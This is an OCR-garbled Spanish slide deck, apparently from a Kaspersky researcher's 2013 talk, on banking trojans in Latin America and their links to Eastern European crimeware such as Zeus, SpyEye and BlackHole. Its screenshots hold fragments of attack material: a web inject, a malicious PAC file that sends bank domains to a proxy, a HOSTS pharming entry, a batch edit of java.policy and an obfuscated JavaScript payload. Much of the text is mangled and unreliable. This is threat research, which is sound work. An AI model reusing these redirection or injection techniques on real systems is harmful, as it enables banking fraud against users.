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el mas avanzado troyano bancario
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Europa del Este

» Region donde nacio Zeus, SpyEye, Carberp y otros
troyanos bancarios, usando las técnicas de Injection y otras
realmente avanzadas.

» Para moviles: ZitMo, SpitMo, CtiMo, etc

Bui asropuzosans! kax: D

Carberp s mm

AxxayHT cozfaH: GNP
5 min

I naBuas .
Momck Bota: ., up: | wm o] [ Moam Q
Cramnciuka SEaeesS
Npedukcb Cnucok 6oToB: Mpedmca: Bee v [ nosasams |
botbi -1000]-1001-10]-1]717| +1]|+10] +100] +1000
3ananns
Koudurm becad1f5410e49004d9b77847344be09 28.01.11[15:20:26] | 28.01.11[15:20:26] weze2712 Q@B S
o 66 256eea09156a744779807d3051052336 2801.11 [15:09:41] | 28.01.11 [15:09:41] 0z 04 Om. 7921631183 Q@RS
opmrpabbep } ! ! ! b Bt e )
228af247347213e78c16418557d7e931 28.01.11[14:45:55] | 28.01.11[14:48:35) 0a Ou Om 81.1324.10 o*a a 1]
FTP cunddep - ! = ! 2 e
©a9279773dbdb837e79e750d032bco4 28.01.11[14:41:12] | 28.01.11[14:41:16] 07 0. O 224150 QO*@E@ O
F'pabbep naponei 8b71c3fa720172541804493674b70835 28.01.11[13:08:10] | 28.01.11[15:03:14] 02 14 S5m. sx24% @ TEBD
Russia mm 80502f48e2174e406900454e1254a5%a 28.01.11[11:46:27] | 28.01.11 [12:13:21] 0a. Ou. 26m. 61715 Q*E@o
Boixop 33904a7352528950feSe80a78b3e841 28.01.11[11:33:57] | 28.01.11[12:29:35) 0 Ou. 55m. 95.28.35.147 O*al@do
70b1c8dcbl1821ad23dbb8edSbdcdST8 28.01.11[11:21:47] | 28.01.11[15:4821] 0a 44 26m. 195211247148 @2 ia &
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Europa del Este y América Latina

>

Ellos no solo atacan sino venden el Know how para la
region. Ya registramos ataques usando SpyeEye, Zeusy
otros troyanos de origen de habla rusa en la region.

Criminales latinoamericanos no solo son simples clientes
de los criminales de Europa Oriental sino intercambian el
conocimiento y las tecnicas de los ataques.

Compran exploit kits (BlackHole y otros), codigo fuente de
troyanos. Si no pueden comprar, copian las ideas!

Zeus y Carberp ahora son open source!

Criminales de Europa Oriental ven Latinoamérica como
unaregion de potencial en el futuro. Es facil de atacarr,
pues hay impunidad.
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Como estamos hoy?

. , , . add ecx, 00000004k
B I P M call M3VEVME0.DLL. vhaStrCopy
> raSI ) eru y eXICO wov eck, [edi+00000044h]
nov edx, 00405E10h ; “HYcoloubia”

en el liderazgo del =i 2= oooosona

call M3VEVMEO.DLL. whadtrCopy
d II d I mow ecx, [edi+S0h]
esarro O e OS mowr Ed:-:: 00405930k ”https:ffmm.]:_cnm.cn,-’"
add ecx, 00000008h

troyanos bancarios i ivmso.on._ssascrcoy

mow ecx, [edi+cCh]

e movy edx, 00405760k "mm.]:_n::n:um.n::n:u,-’ f
’ EVOIUCIOn de add EE:{: ooo0oaoosh _

call M3VEVMEO.DLL. whaitrCopy

troyanos sencillos, oz i v EE——
pharmlng (HOSTS) ::TlEEIE{?BSH?IEE?EEE?_vhaStrCnpy

, mov ecx, [edi+0000005%d%h]
para troyanos maS uov edk, 00405E54h ; et Coloubia”
; CODE XREF: CODE:B@B4CE3EET]

avanzados usando e oyte prr reoearsn.

jnz
cmp byte ptr [ebx+3F4h], 1

i n yeC C I é n ]2 loc_ A4CE4AL
, =
remed ando aI Zeus y mou edx, offset aTeanEEEESEEEE-
[ebx+3D8h]

SpyEye

call sub_u4h7FF8
push 38h
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SpyEye en Costa Rica

dnt1_hﬁfﬁrr

<hody
data =nd f/ Spese TPETHA. CTPAHELRE BEOSS KOOE E&AET.

if {document. location.heef, indexOf ('heepa: S fwae, peraonas, bancober . comd ib_
data inject if jdocureEnt . gecElerent=EyTagham= [ "body' | [0]  innecBHTHL . indexidf [ Confirmar
onLo&ad=~

‘ ! v‘ - - [ | |

B socksE.dilcfg ] = fipbe.dil.cfg ] = Heetgrabbendlcla =] customconnector.dll.cfg ||E collectors. txt ]
1 Ihttp:,f'.f_ruf images, template . php: 30
2 http:/ /o 1 . images temp late ., php 20
3 http:/ /- .ru/masic/chillout . php: 20
4 http:/ /.. Siren/ tears. php

| Make config 2 get build |

| Are wou infected by SpyEve? |
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Inyeccion de codigo: sitios web

Acceso Clientes La Banca en Interne Acceso Clientes La Banca en Interne

T

Haomero de usuario

l

Clave de Acceso

Hamer o de usuario

Clave de Acceso

Aceptar |

Clave de Transf.

o ] adelante «

& Entra por primena vez? Awviso de seguridad

& Ohwidd sy clawe? 51 R
SURNN

i Entra por primera wez'?

& Diwidd zu clave?

———

Este sitic ha sido disehads | Este sitio ha sido disefiado
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Inyeccion de codigo: boletos (Brasil)

» Troyanos BHO y Extensiones maliciosas (Chrome)

CAIYA |o0337| 5] boleto_amigos.php 12-Nov-2013 18:57 5.3K

<D ;K

e = LT boleto/boleto_cef.php ﬁ:' * ':-' x__:__f K
K

["number" " 104492 0058000004 0428664 1 0000000000E030" "barcode" " rm "} K
K

| 1U4-U | 1049112343 56990.000004 01 |4 poleto bradesco.php 13-Nov-2013 00:09 5.1K

1ction check(ma tf"
console.log(match)
1T (checkedOnce)
return match;

checkedOnce
var expl = mat
var lastNum =

var newMatch = 1

var expl2 = new

var dataNum =

var ;;13rhu* = expl2[1].substr(0, expl2[1].length-2)+", '+ exp 1].substr(-2);
.get("http:// | § ole ' s '

d3'=:4 ataNum,
r:valorNum

ML

“H”““ﬂ” H”Hm"‘ boctosucametis. iy 11-Nov-2013 22:26 5.7K
boleto unibanco.php 11-Nov-2013 22:26

KASPER§KY#2



Inyeccion de codigo: auydan el MitM

» Paneles de control para burlar soluciones OTP y tokens

Acesso Remoto

Ligar Auto || Qualidade | | Dados || Listas || Tedlado || Travar || Liberar | | [cEF] || [BBrasil] || [1tas] | [Bradesco] | [HSBC] [Santander]||[Banrisull || [Sicoob] | [Sicredi]| | prnt |[ sar *
[~ 3‘«3)
| =
& & & °
|-
CEF BB - Santander
uBtomcnsfcie| Selecione o Tip: | Bloquear Tea |
v Bloquear Tela
Senha Senha ] [ Senha Internet | | Assinatura Eletronica
Ciding D Tiher a0 Senha Dia Nasc. Més Nasc. | | Ano Nasc. Digite a posicdo:
— = Digite a posicdo: Tabela Tabela + Série
«O» Senha do Certificado
» Tabela Tabela + Série
Bradesco Pedir Token
Token Cod. Seguranca DDD Nimero
i wark | | Pedir SMS Token 2
Digite a tabela: [4O»
-
Tabela HeBC
BloguearTela | H=0 A=3 .
-— - - -
Token P=1 J=6 O 16’ [ a
Senha B=2 C=7 Y "4 ©»
Certificado Z=3 M=8 Sicoob Sicredi
Token = =
| = (Sememren) iear e |
Senha Alfabética
Senha Senha
Token

XXXXXXXXXXXXXXXXKK  Finaliza  xxexxo
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Crishi.a — troyanos bancarios con DGA

» DGA: Domain Generation Algoritm, Zeus lo usa mucho

SO IR IHNEQHISOMICR. BIZ nota fiscal elampaevxzhscfmkzdpfmvxclf.ru
cavxcmvlyltcldpfxmnvtotw.com mbbehevcrsiceofhadehjbroskxcl.com

dgebxgdnrge ayrigyiesHunestmaisos274409 wricysypjmjvkhaaeiz.info
zt@ﬁ@%ﬂf@rﬁﬁxgﬁﬁﬂﬁd\?ﬁkmbbi.Com ]gigzl\jv(i]yieﬁévgrxkotifayws.org
rkigptkguenerqyrrrukemIpirgsiz.net mijlrtkbehaxgrojzxrcnbmfukfb.net
Zxvils mxcgul jagxkﬂﬁhﬁﬁhhh&&me%s%W@gﬁﬁM@W@@ﬂw
ljctwkiBzgtvBgeiGuvgzxim.info wijijojrodztgbaydroswhu.ru
bmcghywtcgiawsaexmtnjbevo.com cpswswijrypgghmjfswgobmpvso.com
pvifoaulvegkjgspnguifzpmfin.ru mrhpdulvhapblwgozortshmoncgfi.net
topjlkzpxsugmntdazlyhzigah.com fihampaufuyizxdamrvsdfur.org
Irmrgtkromvytfatkgulbuomrtojb.biz fucusibkvknwiviblzhuswnrr.biz
wdeifyojlizhsifgaprgfm.org jnhlfinrztzdromjdmnpjbego.com
xzuszdwvsosodmnrtaelnytdy.net gitdueqozbarhmjbscwkbmlzvcijb.ru
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ChePro: del Zeus al Brasil, Mexico, Colombia

» Archivos CPL en ZIP alta ofuscacion y paquetes diversos

Trojan.Win32.ChePro geography

Number of users

N 1-230 [N 280-840 [ | 840-1500 N 1,500-3500 WM 3,500 - 35,000
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PAC malicioso en Brasil y Rusia

/,“ http:// /dns.pac - Windows Internet Explorer

€ http://WNIN/ dns.pac

¢ Favoritos | @ http://M 8% 10 M/ dns.pac

function FindProxyForURL (url, host) { wvar a = "PROXY P2 var b = "PROXY 0.0.0.!
"www.bb.com.bx",

"bb.com.bx",

"www.bancodobrasil.com.bx",

"bancodobrasil.com.bx",

"www.sSantander.com.bxr",

"santander.com.bx",

"www.banespa.com.bx",

"banespa.com.bx"”,

"wWww.3santanderbanespa.com.br",

"santanderbanespa.com.bxr",

"www.bradesco.com.bx",

"bradesco.com.bx",

"www.itau.com.bx",

"www.real.com.bx",

"www.bancoreal.com.bx",

| "itau.com.bxr®):;

var d = new Array(

"www.asduihasiudhasud.com"); for(var i =0;i<c.length;i++) { if (shExpMatch(host, c[i])) ¢
return a; } } for(var i =0;i<d.length;i++) { if (shExpMatch(host, d[i])) { return b; } } return "D
}
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PAC malicioso en Brasil y Rusia

» Usados por los troyanos brasilenos y por el troyano ruso Capper

Trojan.Win32.ProxyChanger geography
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Nuevas tendencias

» Atagues sofisticados: Modems ADSL y dispositivos de red
7~ Google - Windows Internet Explorer
@l\ v r?.—']http:ﬁwnw‘gaogle.ccm.bv! ;l 491 X [—
Fle EM Yew F Tools  Hel

Favorites  Too 16k

. Favortes | .z 4% Supgested Skes ~ £ Web Sice Gallery ~

-_"Goodo Aviso - Seguranca

R
UANETEE T e STER LR CETERT TS Nao foi possivel verificar a assinatura digital do
aplicativo. Deseja executar o aplicativo?

+Vocé Web Imagens Videos M

Nome: FlashPlayer
Editor: DESCONHECIDO ‘.
De:  herp:/jo+ I 16 §

a1 Este aphcativo serd execulado com acesso llmitado, o que pode
w colocar suss informacSes pessons em perigo, Execute este aplicativo Mas nformacSes...
somente ze confiar no editor,

V-“u"
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VAN
Exploit Kits

locales

la automatizacion de los ataques
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;. Cuanto? ;Donde estan?

Exploit Kits per Country of Origin 2 5 o o

dolares el paquete completo

,00

renta diaria

hay paquetes gratis
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Java — el blanco preferido

0%

ataques web en 2012

€

=
2.8
3%

\2
=,

«———

Java

EVIL EDITION

(
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BlackHole

und | NNalich - Glutan Fras Ralearw - Windows Internet [xp[urer

E R http: e odelish. cafcadastramenta. php i @ *1 || X '::' Google
Exibir  Faworitos  Ferramentas  Ajuda
) Sites Sugetidos @ | HotMaill gratuito @ | Galeria do Wwehb Slice =
7d | ©'Delish - Gluten Free Bakery | | & = ~ [ @ v Pagina ~ Seguranca
& |
. Internet Explorer §| ailing List]| | (Submit |

@ Deszeja permitir que este zite abra um programa no seu

computador? BGKEW n u ,:-‘

Origem: bowls_taxpainkiller.com

Qﬂshsh

Programa: Microsoft Help and Support Center

Endereco: hcp:ffservicesisearch?query=anythingitopic=hcp: Resources Contact Blog
Hiswstemsysinfo/sysinfomain, hbm s % 3 A % e h >

Sempre perguntar antes de abnr esze lipo de endereco

Page Not Found (Error H(

’_ Perrnitir ] l Cancelar ]

lf’ Permitir que conteddo web abra programas pode zer dtil, maz tem
0 potencial para cauzar danoz ao computador. Permita izzo
apenas $& a onigem do conteddo for confidvel. Juais :30 o3
lizcos?

A Oops... | cannot find that page vou are looking for, sorry. (BError S04

o

Let me help you find it:

1. Search for it

- - | E——
5 conkérn erros na pagina, _@’ 0 Inkernet

S g e m e m m g e e e e m e e s -
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BlackHole

= oy ® | http:// [ co.cc/main.phE % | [*9 ~| Pesquisar com G

Please wait page is loading...

set pac=http://66.5

 continue

OR /F "TOKENS=*" ¥ 4 (dir "% N.." /b /s Al Find

"prefs. js"') DO Hwindir¥

Find "prefs. js" ') DO Jwindirdss

"java.policy” ) DO echo grant 4

Tind “mozalloc.dl]™ ")

TODAY INFO 13 91% = Ecuador 2035 2356 31 13.19 @
=
=

061 4 HITED 1229 HosTs 171 Loaps @@ LOADS g Dominican
(=)

4701 224 31 1384 @

@ EE United States 544 223 =] 404 @
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Crimeboss

Total de acessos

Total abertos

[ HOSTS : 110 ]

Limpar Banco

662
47

HOST | ACES505 | ABERTOS
http://mensagensparacelular. com. br/ 187 14
http://assistirfilmesonTline. com. br/ 84 5
http://tvd-love. com/ 62 1
http://oanceuponatimebrasil. com/ 47 4
http://blog. mommysconcierge. com/ 31 4
http://piadas.org/ 23 0
http://aparecidabatiszta. com. br/ 16 2
http://bondedasxoxotas. com/ 12 0
http://cilbsb. com.br/ 9 0
http://baixae.org/ 8 2
http://armazemdasfabricas. com. br/ 7 1
http://colorretal. com.br/ 7 1
http://ajinomotofertilizantes. com. br/ 7 o
http://grupobenassi.com. br/ 6 0
http://institutocravoalbin. com. br/ 5 1
http://komaeventos. com.br/ 5 0
http://blogdajulianaparisi.com. br/ 5 0
http://greenballzport. com. br/ 5 0
http://diariodeumadvogado. adv. br/ 4 0
http://tagima. com. br/ 3 0
http://casamentodosmeussonhos. com. br/ 3 0
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Crimeboss

B sample. html - Notepad

Atencio

File Edit Format ‘Wiew Help

function hkwyzFEPZHNVE) { war HMNROZID = "H7FEsx(6lswx72%x2 0 x5 yxd 1 x5ahx52% x60 x6hh xd a™ A
o 72 2 O 2 BN AN B 2w 2 O B O 3 3 0N S N B0 3 O P M GO X B at X SO X S 7 B 0 e O 7 B,
Bh e FEN AL F 2N S B3 G A 2 O S N 2 0N 2 O B3 N 2 x 2 xS 2 0N B0 xBEN K 2 DN 2 B kB3N,
3 E LN EAN 2 N3 2N I T2 B3 3 2N 2 B 3 O LN e xd 3 xBat k2 B 3 2N 30N L e kel N x5,
B3 3N B F AN B B N 3 B R 3 3N G BN T DA R T PN 3 B e N B0 x PN I TN KGN 3B kBN T 3N,
At ad o ST od et od B S 3 B P O B e 2 S 3 2N I T2 T 33 xd 2 2 D 3 O kA DN kT2 N kA B xBat k20N, :)
2 5at SO x ST AT B A B xS E N B xd 2N 2 S S 0N 30 w2 B 3 0 3 0N w3 N 2 T 3 2N 3 O e 2 T 3 2N,
230 P e SN B S e ST A 3 BB N T e B AN T g At e B N i BN B SN T E 2 B 3 O 3 O 3 0N,
3Bl AEN X BN AT I T AT G 3 2 e xd Bh Bl 2 T 3 2N 3 T2 S 3 B A 20 2 T 3 O e T e 2 B 3 0N,
T2 BN 202 T O A D 2 B S T e N 2 S S O e 1 2 B e 3 O e T e O G 3N BEt e B Bt w5 O,
T2 BN 202 T3 0N A D 2 B 3 0N 30N B N B2 O 53 SO B 2 et Bk e DA T e B3N e B a
BB xS At BT B S T AN W AEN X2 B3 2 30N T a3 30l B o 5T e S B At A o AN Bl 5 B e 3 e K 5 0N,
B 32 3N 2 DM 32N 3O 2 B e 32 w30 2 B 30 e AN 2 B e 3T 2 2 B 30 e L 2 B 3 O 3 G e B 0N,
Fhaod 22 B30 DN 2 B 30N 3O 2 B 30N 30N 2 T 3 0 3 O e B B DA B AN T AN e DN T O 2 T 3 2N,
Bh 2 B30 3O 2 TN IO w30 wd e BN 2 B 32N S 0N 2 TN 3 2N 3 BN B 3 B T 2N B3N 2 et BB KB
O w37 2 B3 3 2 2 B 3 0 md L 2 B S O K3 O 2 B 30 kL 2 B 30N 30N k2 SN 30N k30N kBN,
AN 3N B 2N 2 O 3 2 3 R T O O S BTN T At G B N xd B B ke B kT N ke S8 N xS N B3Nk B,
2hoed at o BT G EN e EE N S G 3 S P 3 N B 2N B3N D T2 B 3 2 3 B xd b kBl 63 kN 2 B3 2N,
w3230 D Gl G P md e 2 B 3 2 X3 0 a2 e Al W 2 T 32 k30N xd 2 kB0 k6l N b kB2 x5 TN,
O w323 2N B O 2 G 3 2 3 2 2 S 3 2 S O P N e S P e S 3 M B xd Bh kBl x 2 B k32 k32N k62 kBN xheh,
M B2 B SO B P N w2 B 3 2 3 2 e xd et 2 S 32 md B x 2 et xS O xd et x D3N x DAk x DeN k2 DN x3 2N,
B30 3O 2 P33 md 3 P I3 xS O 2 D XS 2k B B I 2 T 3 2N 30 D0 53N kDN kA BN k33N k2 0N,
O Bl 5™ 2 SR B 2N 3 0N w30 BT N 3 x5 O S B e B GO 2 S 3 2N w30 2 T3 2 M 3 2 T3 2N,
o S0 5 e ol A Bl e Tl 2 S 33N A D 2 T 3 2 3 0 e T e Cho B SN T N A B B N e A B B 2N,
OB T e L BEN 2 G w3 2N 3O 2 S 3 20 B0 3 3N 3 B e A e T 53N B3 T 2l 3 B At 5wl B
B3 T 20 2 T30 A N 2 B e 3 0 3 O 33 AT e O S T e S 2N AT SO TP T B 2N 3 O BN B 5
B 32N 30N 2 T 33N 2 2 B e 30 A TN 2 B 3 P e AN 2 T e 30 A TN e 2 S 30 e T2 B 3 O e 1 BT
Froxd et BN B ST B A0 w2 B 3 2N 3O 2 SN I 2N 3 0 e B 2 B 3 3 A A il o ST i T e 2 B 3 2N
22 B30 d D2 T 3 0N w30 x 7O Bt x BB B N B B ah B et BN 2 B 32N 30N e N R T 2 2 T3 2N,
O30 2 B 30 DN 2 B w30 w30 e I xd Bh w2 S 3 25 30N 2 B 3 28 3 B w B a7 2 a5 e D e N KB oy
2o B oBat xS ah e BEN 2 et BN x G e B N SN B AN B T AN B e BTN B R B3N T 2N 2 TN 3 2 3B T O,

6\x25\x32\x30\x25\x32\x38\x4b\x66\x4f\xSf\xez\xﬁa\xﬁg\xﬁf\xﬁa\xea\xz5\x32\x39\x25\x32\_v

< -

A\
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ideas europeas

negocios

Jatinos

diversidad en los negocios criminales
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Venta de Crimeware local

» Desarrollo de crimeware local; costo 140 dolares, vendido
por criminales de Peru para toda América Latina

S_ d Ad L. ] d ESTADISTICAS
S A P Z INFECTADOS : 202 BUSCAR :
. ™ . . PRENDIDAS : 201 [ |[ 1P ][ 1D MDS
ID MD5 P FECHA HOST EXE ENCENDIDO
Ratero : | | 7d41400FF8ed | [ | 10/5/2011 - 14:42:55 =] encendido
184Faef992F6 | [ || 10/5/2011 - 12:09:40 = encendido
Clave : | | b33907cF9758 | — | 10/5/2011 - 06:08:49 = encendido
ENTRAR ousnat18dazbi | [ || 10/5/2011 - 21:21:51 =l encendido
65043583b499 | [ || 9/5/2011 - 08:20:15 =l encendido
85d6FB10F3c? | [ || 8/5/2011 - 16:39:41 =l encendido
614apadef b1d1522d6c@e | [ || 7/5/2011 - 17:22:00 = encendido
B—
e1325473c7d47b8827284 (&) Mozilia Fircfox - . .‘ - encendido
¥
30c782e8afdB8F169589b = encendido
http:/www. peruxitenline.info G »hP =
5158e087568d7dddbbacd | — encendido
Fddud18F15ea839c37d T encendido
866993aa7B6c6F57F987 # 103.54.94.37 encendido
ShhffaF25h1b8dhBF F4F rhino.acme.com # servidor origen | encendido
# 38.25.63.10 f
e2cﬂ?F?d?d3325?9h892|l X.acme . com # host cliente x I encendido
6abaGs?98626df Fd63516 I i encendido
127.0.0.1 localhost
174.1 5.2 viabcp.com 1
174.1 9.2 www.viabcp.com
$gracias.... b
Terminade e

S gs —- g —



Venta de Crimeware local

» vOIk Botnet: Crimeware Mexicano usado en DDoS y robo a

About‘s Statlstlcs StealerFTP Pharmmg VlSltWebpage Msn Stealer 7denloz;1 7 Seﬁings” WServerTih’wrei

2011/12/03
02:09:54 pm

Bots Oﬂ'lﬂ':‘ 7 Total Bots : 77

Pais : alls | Bots Online : 7 | Total de Bots : 77

Ethernet Host W Fecha- T."afn,m P‘var Al Dk, Wi

66.171.228.34

J Windows xp | 2011-12-03 14:09: 39

|
|
|
|
— iie e ——

200.123.2.3 3 j Windows XP | | 2011-12-03 14:09:39 |

190.41.165,100 1 ‘

\
- | 190.236.37.121 __J "J.ndovrs X P

200.121.189.188 | Uj | client-201.230.127.65. sp—:~:dy net, pr- 3 _IJ br ndo s 7

Andrea | 201.240,175.177 client-201.240.214.188. sp—.-ed*,f net.pe ‘ J Windows XP |




Venta de Servicios de DDoS

» Version brasilefia del Trojan.Java.Jacksbot usado en
ataques DDoS

New Multiplatform Backdoor Jacksbot
Discovered

Posted on October 12th, 2012 by Lysa Myers |
Update — October 15, 2012

Upon further analysis, it's been determined that this trojan is the Java RAT (aka jJRAT)
created by the hacker/programmer redpoisOn.

% Documentacao N. 000000152145.exe

A new Java backdoor trojan called Java/lacksbotA has been discovered
partial multiplatform support. It is fully functional on Windows, and partiall 5 Documentacao N. 10051010511050101.exe

05 X and Linux. This trojan is currently considered low risk as it is not kna é Documento boleto cobranca.exe

infected users, and it does not run without root permissions. Jacksbot has
backdoor functionality, including the following capabilities: ' Documentos Boleto - eletronico email.exe

B install update avast.exe
« gathering system information

el 2N SCTEENSAOLS ' install_readerll br mssa_aaa_aih.exe
« performing denial of service attacks -
- deleting files ﬁ install_readerll_br_mssa_aaa_aihh.exe

« stealing passwords (including specifically Minecraft passwords)
« visiting remote URLSs, likely to perform Clickfraud
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Partnerka: sistema de afiliados

» Usado en la distribuicion de adware — también puede ser
usado para malware

O http:,f‘,w‘multi%stalI.com/pt/’ A P~ O Q Multilnstall

A login en

¥

MULTIINSTALL

Plataforma de monetizacdo de downloads, inédito no Brasil, e ndo
conflitante com os formatos de midia existentes.

KASPER§KY#2



e

Ojos locales

inteligencia Z&

o

V/ ( P
| K g Y 3
' -y
'\

cQue hace Kaspersky?
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Ojo local, inteligencia global

250.000

Nuevas muestras de Malware diario

350.000

Exploits bloqueados todos los dias

2

nuevas amenazas

=< por minuto
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Ojo local, inteligencia global

nuevos troyanos

bancarios
se detectan
todos los dias
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Banca en Linea insegura

e O [ ] e & e o o e ©© o o o o e O o P;

\/ 5 Z
v" DNS Changer Explotacion de

v Phishing Vulnerabilidades
Java
v" Proxy malicioso ( )
(PAC) v Inyeccién de
Codigo
v' Archivo HOSTS
v’ Pop-ups
v' Modem ADSL maliciosos
v DNS poisoning v' Keyloggers e

Screenloggers
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Banca en Linea Segura

e O & o o o o o o o o o @;

v Explotacion de
v DNS Changer Vulnerabilidades

v' Anti-Phishing (Java)
v" Proxy malicioso
v Sitios confiables (PAC) v Inyeccion de
_ Codigo
v Enlace Seguro v ArCh|VO HOSTS
v’ Pop-ups
v' Modem ADSL maliciosos
v DNS poisoning v' Keyloggers e

Screenloggers
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Banca en Linea Segura

Coneccion

v Anti-Phishing v’ Kaspersky Vulnerabilidades
Security Network (Java)

v" Sitios confiables v .,
v’ Base de datos de Inyeccion de

v' Enlace Seguro SSLs en la nube Codigo

v Pop-ups
maliciosos

v Keyloggers e
Screenloggers
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Banca en Linea Segura

1 -
Site Coneccion
F v
nti-Phishing e v

Security Network

Ambiente

Scan de

Vulnerabilidades

v' Sitios confiables v Base de datos de

SSLs en la nube v Protecciéon HIPS
v' Enlace Seguro mejorada
v Auto-Proteccioén

v Keyboard Seguro
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Ojo local, inteligencia global

» Safe Money nuestra mejor tecnologia para proteger a los
usuarios de la banca en linea no contra malware o phishing
sino contra el robo de su informacion impidiendo la fuga!

KASPERSKY?2 , Moo
Cloud protection Reports Settings E '_-'
Hack Safe Money Add =
1234 5b78 9012 345b
= 0L/20
#5 Website for Safe Money . CARDHOLDER MAME
. Bank o payment system website
2 g hteps:
1234 678 9012 IYEL A, Incorrect website URL Safe Money 1
= av

Description

CARDHULDER MANE

You are strongly advised to use a protected browser

to perform banking operations and purchases in online stores.
On access 1o this website:

Safe Money @ Prompt for action

Use online banking servces and check out in online Run e protected brows er automatically

stores from 3 profected browser
0o not run the protecied browser

Skip
Hedp Cancsl

Remember my choice for this website

Help Support My Kaspersky Account Licansing
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CONCLUSION

» Solo el conocimiento de las amenazas
locales ya no és suficiente!

» Los troyanos latinos evolucionam

rapidamente adoptando técnicas y kits de los ataque
de Zeus y SpyEye

» Los criminales latinos copian el modelo de
NegocCIios desarrollado por criminales de Europa
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Preguntas Gracias

fablo.assolini@kaspersky.com
Twitter.com/Assolini
CELAES 2013

PAGE 37 | KASPERYKY3



